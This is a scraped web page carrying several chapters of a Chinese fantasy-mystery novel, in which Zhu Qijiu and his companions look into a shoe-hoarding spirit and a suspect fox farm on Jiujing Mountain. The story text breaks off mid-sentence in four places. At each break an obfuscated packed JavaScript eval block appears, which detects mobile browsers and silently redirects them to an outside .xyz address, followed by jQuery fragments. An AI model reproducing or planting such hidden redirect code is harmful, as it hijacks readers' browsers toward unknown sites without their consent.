;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988048|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偏窄的甬道走去,几人只好跟上。不多时,面前的甬道已经没有木头支架,逐渐狭窄起来。开始还能站立前行,逐渐弯腰,到后面,只能靠爬行。
不知何时,这甬道越来越窄,纵使几人身形都不宽,依旧钻得十分艰难 。竹七九心里直打鼓,害怕这根本就是黑猫自己刨出来的洞口,成年人的体型只怕是过不去。
但此时已经进退两难,如果真的是条死路,几人连回头都做不到,为了不让大家分散精神,他只好一边爬行,一边思考是否有其他出路。
忽然间,眼前出现一道亮光,那黑猫噌的一下跳下洞口,站在外面的草地上伸懒腰。竹七九也加快速度,往前快速爬着,终于滑出这细窄的洞口,重新见到这花红柳绿的世界。
身后紧跟着的两人也顺利出来,只剩下田云霄,在洞里叫唤道:“我卡住了,出不去了!快来拽我!”
竹七九哈哈大笑起来:“这个子小也有好处啊!”
笑过之后,三人动手刨开洞口,终于将浑身是灰的田云霄拯救出来。几人互相看对方一眼,纷纷大笑起来。原来此时的他们脸上头发上全是灰尘跟蜘蛛网,只剩下一双眼睛还算干净。几人一笑起来,露出的牙齿缝里都掺着黄泥。
林中虫鸣鸟叫,好不欢快。远处草丛里开着几朵不知名的花朵,蜜蜂嗡嗡的飞着采蜜。细碎的阳光从树叶间照下来,将地面隔成一块块的,光明与阴影交叠,细长的树枝作为连接,倒像是一幅抽象派画作。
“这里,是哪里啊?”田芸淼四处看了看,发现这里并不是熟知的地方。
“是我们来时的地方。”竹七九上前捡起几根枯草,“看,这就是鲛人草,已经枯萎了。这些种子,到了明年春天又会继续生根发芽。”
“也就是说,我们回到原本的世界了?”薛暮冉问道,见对方点头,立刻大笑起来,“终于回来了,这趟经历简直快要了我的命,太刺激了!”
走了大半日,来到那处深潭,几人简单洗过脸,坐在潭水边休息。
“这个潭水,跟飞龙潭有关系吗?”田云霄看着眼前这个光滑如镜的水面,莫名想起昨夜藏在黑暗中的飞龙潭。
“阴阳之道,在乎和谐,我们所处的这个世界,可以将它看成一个圆圈的一半,只有跟另一半合在一起,才是一个完整的圆,跟那太极双鱼图类似的感觉。”
“也就是说,这个是我们世界的景象,昨夜见到的,是另一个世界的,一阴一阳,是吗?”田云霄继续问道。
“差不多意思吧。”
“所以,精怪是我们这个世界的,但是,神仙是另一个世界的。”田芸淼像是做总结似的,忽然开口道。
“可是,为什么我们不直接去九景山东边呢?从警局出发,明明直接去东边更近啊!反而我们是先绕到西边,往南,再到东边,这样不是白白绕了一圈吗?”薛暮冉有些不解。
“直接从东边过去,进入的是另一个世界的西边,刚好反了。更何况,我们要借助西南面的鲛人草为祭坛,趁着月圆之夜,那道地门才有机会打开——”
几人想起那夜的瑰丽景象,一时间也着了迷似的不再说话。看着眼前碧绿的潭水,似乎深不见底,谁知道这水下究竟藏着什么东西呢!
33. 第七章 黑靴之谜
不一会,几人的肚子饿的咕咕直叫。虽然双腿酸软,像灌了铅似的,但竹七九依旧挣扎着站起来,去林子里摘了几把野菜,在潭边支起锅灶,煮起稀饭来。
剩余的两个男人则将帐篷搭好,然后一脸疲惫的围在锅边。直到米香味夹杂着野菜的清香从锅盖边缘飘出,两人才换了垂涎欲滴的表情继续看着。
饭饱之后,竹七九主动留在外面守夜。田云霄虽然不情愿,但是也不好拒绝,毕竟此行都是为了自己的眼睛,只好将就着跟薛暮冉挤在一起。
原以为会挤得难受,结果两人都是倒地就睡,不到五分钟纷纷进入梦乡,传来的鼾声像老式拖拉机刚刚启动时一样,轰隆隆的。
竹七九看着面前的火堆,又掏出竹筒,打开盖子喝了一口,微微皱眉,低声抱怨道:“这潭水味道可真古怪。”
叮铃铃——清脆的铃铛被风儿吹得摆动起来,发出悦耳的声音。竹七九起身,走进树林深处,笑道:“青灵大仙,既然来了,为什么还不出来一见呢?”
玉足轻摇,青衣女子坐在一截胳膊粗细的树枝上,璀然一笑:“竹先生来我的地盘,也不提前说一声,这是在瞧不起我吗?”
随即变了脸色,换上一副冰冷的面容:“还是说,你自以为救过我一次,就可以不请自来了?”
“自然不是,只是好友身染重病,继续五色露水救治,恰逢十五,我才自作主张过来了。一直想找你说来着,这不是,一路碰到的事情太多,直到今夜才得空过来。还希望,你可以原谅我这一次。”眼神真诚,言辞恳切。
青灵转头哼了一声:“那夜你来找我,我故意躲开,直接找到你的这些朋友问话,那小子倒也实诚,直接把你们的目的跟我说了。还好,你今夜没有骗我,不然,你知道后果。”
“对对对,我怎么敢骗你呢。”竹七九满脸笑容,“对了,我这有一些食心虫的残体,你要不要?可以分你一点。”
“吉云草上的?”青灵似乎很感兴趣,立刻跳下来,耳畔铃铛轻摇,发出阵阵悦耳的声音。
分了一小袋给她,竹七九又从口袋里抽出几束吉云草递过去,“算是赔礼,这下好了吧?”
青灵接过东西,这才展颜笑道:“算你识相!不过,飞龙潭里,你们没碰见什么奇怪的东西吗?上次,那群家伙也来了,结果,听说一个个被打的七零八落的回去了。”
“我们运气好,被一个长相奇怪的家伙救了。”然后将在洞中所遇怪物之事说出。
“原来是它,竟然又出来了。”青灵微微皱眉,“看来,这山里肯定发生了什么事情,那东西被称为草鞋妖,一般只在乱世出没。听说会捡很多被人丢弃的鞋子放在路中央,挡住行人去路。”
“难道,它在预示着什么?”竹七九也疑惑了。
“很大可能是这样,它救了你们,肯定是要你们还回去的。不然,结果会怎么样我也不清楚,毕竟这东西,我都没见过,还是听山里的老前辈提起过。”
“我知道了,这事我会再去调查。你也帮我留意一下这山里面,有没有什么奇怪的事情发生。”
“这是我的本职,还用得着你来提醒!”青灵不满地回答,然后转身跳上一棵高树,消失在树林之间。
“这小妖精,还是一如既往的好哄。”竹七九摇着头笑笑,转身离去。
第二天一早,经过一夜的休整,几人的精神分外清爽,背着行囊往九景山走去。到了中午,找了一处阴凉地方歇息,只可惜所带食物早就吃得连渣都不剩。所幸只要过了九景山,就是下坡路,肯定比来时轻松许多。
一想到就要回到熟悉的镇上,他们的心情也振奋许多。顶着烈日,继续往山下走去,不一会,田芸淼晃了一下身子,摔在地上。
田云霄慌忙扔掉背包,抱起妹妹,不断呼唤起来。竹七九走过来,搭了一下脉搏,说:“没有大碍,是太疲累了,加上身体缺水,这才晕倒了。”
见状,薛暮冉主动揽过田氏兄妹的行李,田云霄感激的冲他笑笑,将妹妹背在身后。竹七九在前方带路,沿着来时那条小路,他忽然停住。
身后的薛暮冉不知道情况,险些撞上。忙退到旁边的草丛里,他歪着头看向前面,只见路中央放着一堆黑色的雨靴,一只黑猫蹲在上头,伸出舌头舔着自己的尾巴。
“这是——洞里的那只猫吗?”薛暮冉问道,将身上的行李卸下,喘了口气。
“看样子,应该是。”竹七九解下随身带着的雨靴,走过去,“这是你的东西吗?”
那猫略一点头,往旁边一跃,让出位置。竹七九将手里的雨靴端端正正放在那堆鞋子上方:“你跟那草鞋妖,是一起的吗?”
猫儿没有回应,站在草丛里,只露出一条长长的尾巴。
“先回去吧,这事过几天再说。”竹七九拿起地上的一只背包,挎在身上,“来,大师我帮你分担一下。”
“你早该这样了!”薛暮冉哈哈一笑,两人绕过那鞋子堆,继续往前走着。田云霄看了一眼那藏在草丛中的猫咪,见那猫睁着双漆黑的眼睛正盯着自己,也不好再做来时的恶作剧,抬腿跨了过去。
半夜,月盘挂在天空,警局大门发出咚咚巨响,吵醒了所有睡梦中的人。周医生披着睡衣,让他们将昏迷的田芸淼放到病房里安置好。再回到大厅,这三个男人已经在地板上呼呼大睡。
整整休养两日,这几个人才逐渐恢复正常,饶是如此,他们的胳膊大腿依旧酸疼不已。这天下午,竹七九翘着二郎腿坐在后面院子里喝酒,薛暮冉兴冲冲跑过来,凑到他耳边嘀咕了几句。
“这么说,那九景山的确是田家的财产咯?”竹七九坐起身,问道。
“应该说,以前是。自从师姐她爸爸去世,很多产业就荒废了。田云霄那样,也不太管家里的事情。什么养蚕场啊,木材啊,矿产啊,都承包给别人了,他只要每年收点分红就足够过上富裕的日子。”
“现在能查到,九景山那片地方,是哪些人掺和在里面吗?不管他们是养蚕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988049|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,织布还是砍木头,只要跟九景山沾上点边的都行。”
“我查出来几个,岳冬来家承包了九景山西边的杨树林,林学阳家承包了南边的养蚕场,还剩东边的矿产,被朱云杉家拿去了。”
“这几家,产业做得大吗?员工信息都上报了吗?”竹七九想起,近期为保障人民的利益,不少地方自发组成了工会,要求当地所有工薪阶层将信息上报存档。
“本地工会那边已经收集了一部分人员信息,但是因为这几家产业大,人员流动频繁,可能员工信息更新会有些滞后。”薛暮冉低声解释,“大师,你查这些东西,到底是为了什么啊?”
竹七九叹了口气,将那洞中妖怪的底细说与薛暮冉,又见路中央那些雨靴,只怕这九景山里有不寻常的事情发生。
“你的意思是,如果我们不帮那个草鞋妖解决这件事,他会上门找我们麻烦吗?”薛暮冉想起那怪物的奇怪外形,忍不住觉得身上有些发冷。
“这个我也说不好,毕竟那怪物也算救了我们。不然,我们也逃不过那飞龙潭里的东西,只怕早就填了那玩儿意的肚子了。”竹七九心有戚戚,眼里闪过一丝害怕。
“可是,那怪物收集那么多雨靴做什么?不是叫草鞋妖吗?应该收集草鞋啊——”
“大兄弟,现在还有谁穿草鞋啊?”竹七九有些哭笑不得,“我猜测,应该是山里工作的那些人穿的雨靴,可能他们的一些行为伤害到草鞋妖的利益,所以这东西希望我们帮他解决。”
“就是非法虐待小动物,破坏环境之类的呗?行,我再去查查,这妖怪事儿还真多——”薛暮冉站起身,“听说,最近岳冬来家弄了一批皮草,打算出口到国外,你说,会不会是这个原因?”
“什么动物的皮,你知道吗?”竹七九将酒壶送到嘴边,又放下。
“听说啊,是狐狸的皮,据说是家养的,他们也开了证明。也许跟这件事没关系。”薛暮冉说着,忽然从前屋大厅里跑来一个年轻警察叫他过去,他只好戴上帽子跟着走了。
“狐狸——没听说九景山有这号大仙啊——”竹七九喝了一口酒,半晌才咽下去。
夜里,他独自一人出现在厢竹酒家,让老板上了一壶自家酿的粮食酒,靠在窗边小酌起来。
晚风习习,远处的芦苇丛发出哗哗的声音。吞龙桥上聚集着一些孩子在放孔明灯,几盏白色,红色的纸灯笼慢慢凌空飞起,孩子们在下面拍手叫好,满脸兴奋的表情。
“一个人?”旁边传来熟悉的声音,竹七九愕然回头,发现是田云霄。
“田小哥今天怎么有空过来?”竹七九笑笑,又跟老板要了一副杯盏,两人对酌起来。
“上次,那只黑猫的事情,我一直很在意。”田云霄喝下一口酒,轻轻呼了口气。
“你有什么头绪吗?”
“在我很小的时候,有一次,也发生过类似的事情,只不过,当时猫叼来的是草鞋。”田云霄抬起头,盯着竹七九身后的某处,陷进回忆里。
34. 第八章 草鞋之妖
十多年前,田家是本地小有名气的‘名门望族’,产业涉猎范围很广,从船厂到渔业,从建筑到服装,能做的都尝试了个遍。最后将主要产业放在九景山上,种植了大片杨树水杉,以便加工成家具进行售卖。
加上东边的还有丰富的煤炭资源,因此田家赚得盆满钵满。谁知道有一年,山里发生大火,烧死了不少工人。田家有位长者就说,这件事要是传出去,那些死者家属会索要巨额赔偿不说,更会被其他同行打压。
因此,田家打算将这事隐瞒下来,那些尸体全部就地掩埋。因为正值战乱时期,留在本地的男人大都是年老或者有残疾的,本就没什么常联系的亲戚。
还有不少年轻人从外地逃难过来,身份信息不明,所以行事低调,更没有亲戚在本地,所以这事倒也没有被其他人知道。
谁知道,从那以后,总是有只黑猫,叼着一双双烧得漆黑的草鞋堆在田家门口。家中下人不知道扔了多少次,那些鞋子就好像长了腿似的,第二天又会全部出现在门口。
后来,有人就说这是妖怪作祟,田家请了一位驱邪大师过来摆了法坛,将那些草鞋全部烧了个干净。这样看上去似乎平息了。
“看上去?也就是说,后面草鞋又出现了?”竹七九问道。
田云霄点了点头,说道:“隔了一周左右,那些烧得漆黑的草鞋再次出现,我爸爸决定,将那些尸体全部挖出来,送回各自的家中,又赔偿了很大一笔钱,这事才真正平息。”
“那些鞋子没再出现了?”
“从那以后就没出现过,那只黑猫也没再过来。只是——”田云霄沉默片刻后,接着说:“那天看见的那只黑猫,总感觉跟我当年看见的,感觉很像。”
“一只普通的猫,应该活不了二十年吧。”竹七九喃喃道。
“但是,当年这件事对我们家倒也没什么坏的影响,没人因意外去世。家里的生意反而还蒸蒸日上,那些赔出去的钱最后都赚回来了。所以——”田云霄借了口酒,笑笑,“那黑猫也不能算是坏蛋吧?也许,只是想申诉某些不公平的东西,等它目的达到了,也就结束了。”
“这次,似乎问题还是出在九景山。”竹七九说道,“但是,最让我奇怪的是,既然上次那黑猫能直接进入田家,为什么这次却要在那偏僻的小路上摆鞋子摊呢。”
“也许,是那个人没有家?或者是,这黑猫找不到那人的家。毕竟,这黑猫应该也是某种精怪吧,要是那些受冤屈的人不知道害他们的是谁,最后想算账,也没地方去了。”田云霄有些醉了,随口说着各种不切实际的猜测。
“对了,你家在九景山的业务不是承包出去了嘛,对这岳林朱三家,你有了解吗?”
“你是怀疑,这几家做了见不得光的事情才引来那黑猫的?”田云霄沉思片刻,缓缓道来,
“这三家现在都是小辈当家,跟我差不多年纪。岳冬来家占了我们的码头生意,索性我把那片杨树林也租给他们,让他们玩个够。林学阳的话,祖上就搞织布的,家里养了一群手工绣娘,专做高档手工艺品,赚有钱人的钱。至于朱云杉,以前那家伙跟我一样,成天没个正经。谁知道这几年竟然性情大变,把煤炭生意经营的如日中天。”
“这个朱云杉,人品怎么样?”
“为什么单单问他?”田云霄眯着眼睛,笑着问道。
“那些雨靴上沾的泥土,黑的有点奇怪,我怀疑——”
“你认为,他们穿着那雨靴在矿洞里工作,所以泥巴里混上了煤炭?”
“暂时,我是这么推测的。”竹七九将杯中酒水一饮而尽,满意的摸着下巴笑了。
“据我所知,那片矿源早在五年前就已经开采的差不多了,现在九景山的矿洞基本已经停用,等于是荒废了。所以,我觉得最不可能的就是他。”田云霄摇晃着脑袋,似乎快到醉倒。
“那他还租那片地做什么?”
“那我就不晓得咯!反正空着也是空着,既然他愿意花钱租,我何乐而不为呢?”
掏出他裤袋里的钱包,结完账,竹七九扶着这个醉鬼往外走去。跨上吞龙桥,田云霄忽然弯腰呕吐不止,混合着晚餐跟酒水的呕吐物悉数掉进飞龙潭,激起一小片水花。
竹七九捂着鼻子,扶起这个瘫倒在桥边的醉鬼,刚准备继续往下走去。忽然间,一道巨大的水花冲天飞起,在半空中形成一条大鱼的模样,转瞬即逝,散成一片细碎的水珠。此时此刻,这座桥的两米范围内,下了一场小雨。
竹七九怔怔看着这场异象,心潮澎湃,久久不能自已。
此时,某一处院落中,那戴着金色面具的黑衣男子正在廊下闲坐。空中挂着一轮残月,银白的光芒照在男人盘坐的腿上,那黑色的裤管内似乎有东西正轻轻蠕动,蜿蜒往下,从脚腕处钻出,竟然是一条花斑长蛇。
男子伸出食指,那细蛇缠绕而上,游到男子脖子处停下,吐着信子发出嘶嘶的声音。
“别担心,就算他们成功逃出来,也不能对我们的计划造成威胁。等到中秋夜,你就彻底自由了。”男子温柔细语,面具后的眼睛里也泛着无限柔情。
那蛇似乎也听懂了似的,很乖巧的趴在男人肩头,尾巴轻轻蜷曲,挂在男人耳朵上。
“好痒啊,别闹。”男子笑着拍了一下那条尾巴。
几天后的早晨,竹七九兴冲冲往警局外跑去。原来借由田云霄的关系,他已经成功联系上这三位彩衣镇的青年才俊,并分别约好时间在厢竹酒家见面。
田云霄做东,第一位登场的是承包矿场的朱云杉,只见他生着一张大白脸,偏偏嘴唇四周长了一圈胡子,加上天生圆润,看上去就好像是一个白瓷瓶上画了黑色的假山石作为点缀似的。
“老朱,你怎么才来?”田云霄起身招呼。
“唉,最近生意忙啊,哪像你,无事一身轻,我可羡慕死你了。”朱云杉一身笔挺的西装,腰身宽厚,富有弹性的肚皮随着呼吸一起一伏。
“别跟我扯这些,今天有要紧事问你。”田云霄冲旁边的竹七九努努嘴,示意接下来就全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988050|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
交给他,然后又让老板上了两壶酒,准备大醉一场。
一番自我介绍后,竹七九打开亮窗,直接说道:“小田少爷打算重整旗鼓,好好做生意,因此,九景山东边那块矿产,我们打算拿回来自己干。”
噗——
田云霄一口酒全喷了出来,死盯着竹七九,又迎上朱云杉问询的目光,只好笑笑,推脱喝的太急,不小心呛到了。这才糊弄过去。
“这个矿产,已经包给我家很多年了,怎么这么突然要收回去呢?再说了,那片煤矿资源早就没了,你们拿回去也没用啊。”朱云杉疑惑道。
“既然没用,为什么朱大少还要花那么多钱承包呢?”竹七九笑着反问。
“这——”朱云杉一时语塞,圆溜溜的眼珠子来回转了一圈,也笑了,“因为吧,这块地距离我们老朱家的矿脉很近,便于放置采矿后剩余的煤矸石,和其他废料,所以我就一直租下这块地,这可影响着我老朱家的经济命脉啊!”
“我相信,以朱大少的能力,想买下一块地堆废料肯定轻而易举。更何况九景山里还有那么多小动物,这样污染环境对它们也不好。不如,您还是换个荒地维持命脉吧。”竹七九佯装坚持要收回这块地。
“这可不行啊,”朱云杉求助似的看向旁边的田云霄,“老田,这块地我们可说好的,一年一结算,这分红我可没少给你。”
“既然这块地已经不能产矿,这分红是根据什么来的呢?”竹七九步步紧逼。
“这——这自然是根据以前这块地的产量来计算的。绝对只多不少,不会亏本的。”朱云杉急得满脸通红,说话也有些不利索起来。
“也就是说,这些年所谓的分红,都是假账咯?”竹七九冷笑道。
“怎么能说假账呢,就是我为了避免麻烦,特地给老田分的钱。不然,按照实际情况来,那片地不但赚不到钱,只会往里投钱呢!”
“为什么需要投钱?不是拿来放置废料的吗?需要什么钱?”竹七九连忙问道。
“这——投——投钱维护环境啊,不然那地方很快就寸草不生了,会被投诉的。所以我们要净化那些废料,对,净化装置,需要投钱。”朱云杉吁了口气,解释道。
“那——我们能看看那些净化装置吗?肯定是建了个厂子过滤污水吧?我们也想去参观参观。”竹七九见对方还在嘴硬,只好跟他硬扛到底。
“这——这是为什么啊?这么多年不都这么过来了吗?啊?老田?”朱云杉急得快哭出来似的。
在一旁看不下去的田云霄终于忍不住开口道:“老朱,你就直说吧,这么多年包下那块地方,到底在做些什么?我也知道,五年前矿脉就断了,你还继续付钱给我,这对我倒是无所谓,反正不亏。只是,现在你必须得把话说清楚,不然这地我也不给你了。”
“这——”朱云杉苦着脸,“其实是有人花高价跟我租这块地,说是要拿来养动物,要剥皮出去卖钱。”
“养什么动物?”
“好像是——狐狸。”
35. 第九章 四处查探
“前阵子岳冬来家不知道从哪里弄来一批狐狸皮,跟这个有关吗?”竹七九连忙询问。
“这个——我也不清楚,这块地我转手租给一个外乡人了,叫李进学。”说到这里,朱云杉似乎想到了什么,眼睛来回看向对面的两人,低声道:“奇怪的是,我有几次进山,经过那片养狐场,竟然一丝儿臭味都没闻到。”
“这饲养动物,不管你是什么品类,总会有些味道,拉屎拉尿,你再怎么清洗,那股子特有的味道是掩藏不起来的。但是那片地方,却什么都没有。”
竹七九回想起前几日上九景山,曾在东南边的山脚下搭棚歇息,似乎也没闻到特殊的气味。更何况,九景山是灵蛇之乡,但凡狐狸接近,均会遭到驱逐。如果对方真的养了大批的狐狸,青灵不可能说山中没有异常。
如此想来,这其中定有猫腻。
送走朱云杉后,田云霄问道:“这个李进学,要不要去查查底细?”
“查肯定是要查的,只是,你这边不宜出手,我自有办法——”
话音未落,门外跑进来一个身材高挑,眉目俊朗的年轻男子,他四处望了望,定格在田云霄的脸上,大笑一声,快步走过来说道:“云霄,这么多天没见,你小子又搞什么花样?”
转头瞥见满脸疑惑的竹七九,又咧嘴一笑,自我介绍起来:“林学阳,未请教阁下是——”
“竹七九,额,岁寒三友的竹,七八九十的七九。”
“哈哈,好有意思的名字。”林学阳大喇喇在对面坐下,招呼老板过来,点了一壶价格昂贵的雪里红梅。
“怎么改喝茶了?以前不是最爱饮酒吗?”田云霄看对方手势熟练的倒茶,忍不住笑着打趣。
“唉,前些年陪着你喝酒喝多了,这胃老不舒服,只好学着家里老人的模样,终日以茶代酒,养养精神。”林学阳无奈地苦笑道,“对了,今天找我过来,不只是为了叙旧吧?”
“也没什么,关于九景山那片养蚕场,我这个朋友最近对这个感兴趣,所以想问问情况。你想啊,我都多少年没管这些事情了,所以请你过来。”田云霄随口扯了个谎,将话头抛给竹七九。
“是啊是啊,我想跟朋友合伙也搞个养蚕场,就是不熟悉里面的门路,所以——”竹七九白了一眼旁边只顾着喝酒的田云霄,暗骂这家伙不按常理出牌,十分之不靠谱。
“这个啊,说实在的,我也不太懂,都是家里老人在照顾。不过,你们要是真想知道,我可以找几个人带你们去参观,让他们自己跟你说,这样也能更清楚明白里面的套路。”
见对方说得真诚,竹七九也不推辞:“这样就太好了!只怕会太麻烦你——”
“怎么会,我跟云霄的交情,这不算什么!”林学阳爽朗一笑,“那就这两天,我安排好了让人过去找你们,不知道竹小哥住在哪里?”
“我啊——我跟田云霄住在一起,你直接找他,就能找到我了!”竹七九此时住在警察局里,总不好平白惹来不好的推测,只好推出田云霄来当挡箭牌。
“那也方便,”林学阳慢慢饮了口茶水,笑道:“这茶还是不够好,回头去我家,给你们泡一壶真正的雪里红梅。”
目送这位热情洋溢的青年离去,竹七九双手托起脸,满脸愁容。紧接着,最后一位客人登场了。
岳冬来穿着一身黑色运动服,脸色微红,晶莹的汗水顺着额角滑下。只见他眉黑如墨,鬓若刀裁,鼻梁高挺,薄薄的嘴唇犹如神仙雕刻,整个一美男子,比起刚刚的林学阳有过之而无不及。
竹七九不由得看呆,好一会才回过神来,低声道:“这人可了不得。”
旁边的田云霄狡黠一笑,招呼那人过来坐下。
“这是刚运动完吗?怎么满头大汗?”田云霄主动为对方倒了一杯茶,用的还是方才林学阳喝过的杯子。
“今天刚好没什么事,就在家里练了一会,何况,你们约的是上午十一点,我干脆就跑着过来了。”岳冬来微微一笑,在桌边犹豫了一下,才坐下来,拿起杯子喝了口茶。
田云霄暗自偷笑,又介绍旁边的竹七九给他,随口胡诌个理由,将一切抛出去。随后靠在墙壁上,带着一副看好戏的表情喝着小酒。
“你想了解树木种植?”岳冬来眼中闪过一丝怒意。
“这个——”竹七九额头渗出汗水,迎着对方严厉的目光,有些羞愧,“其实也不尽然,主要是想了解一下,木质家具的销售模式,和保存技巧。毕竟是木头做的嘛,不是虫蛀,就是受潮后腐烂了——”
见对方眼神有所缓和,他暗自松了口气,给在一旁偷笑的田云霄送去一个白眼。
“这个嘛,你认为我会知道吗?下面有专门负责这些工作的工人,你要是真想学,借着云霄的面子,可以让你们见上一面。”
“要是可以现场参观的话,就更好了!”竹七九眯起眼睛,笑得一脸灿烂,“特别是九景山那片区域,听说那块地方是风水宝地,一直想去见识见识。”
“九景山?不过是一座小山丘罢了,哪是什么风水宝地!”岳冬来一脸不屑。
“是是是,岳老板见多识广,这对我们来说,可不就是风水宝地了。”竹七九讨好地说着,并给对方续上茶水。
结果这一举动直接惹恼岳冬来,他冷哼一声站起身,冲田云霄怒道:“你这交的都是什么朋友?连这点礼貌都不懂吗?谁敢随便碰我岳冬来的杯子?”
扔下这段话后,气呼呼的离去。
一直处于憋笑状态的田云霄再也忍不住,笑得腰都直不起来,拳头将桌子拍得震天响,惹来四周的客人纷纷侧目注视。
“这老小子,还是这么拽!哼!老子也会哼!”田云霄招呼老板过来将茶具撤下去,笑道:“这可是岳大少喝过的杯子,你们还不得小心供起来!”
那胖老板面一副为难的样子:“这杯子不是林学阳林老板喝过的吗,这要是被岳老板知道了,说不定会砸了我这小店啊——田小爷你这——不是在害我们嘛!”
“怎么会!你不说,我不说,谁会知道?”田云霄毫不在意的摆摆手,那胖老板只好端着茶具离开。
“这位岳大少,是有洁癖吗?”竹七九转着自己的杯子,问道。
“可不是,从小就那副怪样子,好像人家碰了他一下,他就要中毒身亡似的。”田云霄拿起酒壶对嘴吹完,满足的打了个酒气熏天的嗝,“话也问完了,你打算先去哪家?”
“这个嘛——哎呀!”竹七九一拍大腿,懊恼地叫起来,“刚刚忘了问那批狐狸皮的来源了。”
“可不是,这可是重头戏!”田云霄附和着,脸上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988051|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却丝毫不见着急的模样。
“算了,岳冬来这个态度,估计问了他也不会老实回答。行了,我得走了,多谢你的酒!”竹七九笑着离去,扔下田云霄独自坐在窗户边。
他看着窗外的景色,眼睛定格到那片芦苇丛,回忆起祭河神那夜所见情形来。
那夜,清风徐来,水面上漂着几十盏莲花形状的河灯。点点星光似乎比天上的星星还要明亮。窗边聚集着一群男人,指着外面聚集的人群说着浑话。他只觉得无趣,搬着自己的酒壶酒杯来到旁边的桌上。
因角度不佳,所以并没有人围在这里。他独自饮酒,感叹时运不济。自从战争爆发以来,田家的产业就一蹶不振,父亲也早早去世,临死前告诉他有个妹妹在外地生活,让他帮忙照顾。
当时还不到二十岁的田云霄,独自扛起家里的担子,还要出去寻找那失落在外的妹妹。岂料打理码头货物装卸时失足落水,差点淹死。幸好被附近码头工人发现后及时救起,虽然因为失魂落魄没了半条命,好歹活下来了。所幸也因为这件事,错过征兵令,得以继续苟存在这方寸地方。
社会动荡,无数地痞流氓聚集一处,抢劫普通商铺,砸坏货物,甚至还有强抢女人回家的。他们还以此为荣,吸引了不少年岁不够的孩子进去。
眼见家业无望,他索性将一切都抛下,终日沉迷在酒精里,高兴了就去街上转几圈,见到好看的女孩子就上去调笑几下,以此度日。
又过了好些年,战争逐渐平息,不少从前线上退下来的军人被分到各处整理地方秩序。那些地头蛇也逐渐消失了,变回原来的老实村民。
但是田云霄却不愿意改变,他已经习惯迷迷糊糊的过日子,这一下子世道变得清明起来,反倒让他有些不自在。
有一天,他在街头转圈,看见了一个短发的年轻女孩子,英姿飒爽,眉宇之间还有些像自己。那个瞬间,他就知道眼前这个人,正是自己的妹妹。
曾经受父亲所托,要去寻找的人,就这么出现在自己身边,一种说不上来的复杂情绪充斥了他的大脑。于是,他逃开了。
一方面懊悔自己竟然将这件事完全抛之脑后,另一方面,他也无颜面对这个至亲之人。原本的田家可以让他们兄妹二人这辈子都吃穿不愁,而现在,仅仅够他一人挥霍罢了。
他开始筹措,将家中剩余的产业变卖,所得钱财全部交给这个妹妹,作为这些年的补偿。而自己,也许早就该离开这里,重新开始新的生活。
然而,人算不如天算,竟然因为那个女人无故遭受这一切!田云霄恨恨地看了眼那片芦苇丛,想起那个穿白裙子的奇怪女人来。
从祭河神之前的几天,那女人每天下午,都会一个人坐在河边,似乎在等待着什么。而因为他喜欢临窗的位置,恰巧每次都能看见。
谁知道,这奇怪女人竟然拿自己的身体养蛊。也许那几日她根本是故意在那芦苇丛边逗留,想吸引心怀不轨的人过去,好给蛊虫送饲料吧。谁知道,偷鸡不成反蚀把米,竟然把自己的命给搭进去。
而田云霄也因此被那胖老板误会,以为是他盯上那个奇怪女人,而下杀手。
那夜,他望着那片河灯,感怀身世。而河对岸,一个普通男人正打算勒死一个养蛊的女人,怎么想,都觉得这个世界有些不正常。
36. 第十章 漏夜出行
夜幕降临,空中阴沉沉的,看不见一丝光芒。月亮带着星星藏到乌云背后,似乎正在嘲笑地面上渺小的人类。
一道碧绿色的影子在林间穿行,敏捷迅速,像只长翅膀的鸟儿。此时地面上也有一道身影紧跟其后,逐渐慢下来,扶着一棵大树喘息:“我说青灵,我真的跑不动了,你能不能等等我,不然等会,你就会看见我死在这片林子里——”
“竹七九,你修炼了这么久,怎么还是这么笨重?”那青衣女子轻轻一跳,从高树上飞下,落在竹七九身边。
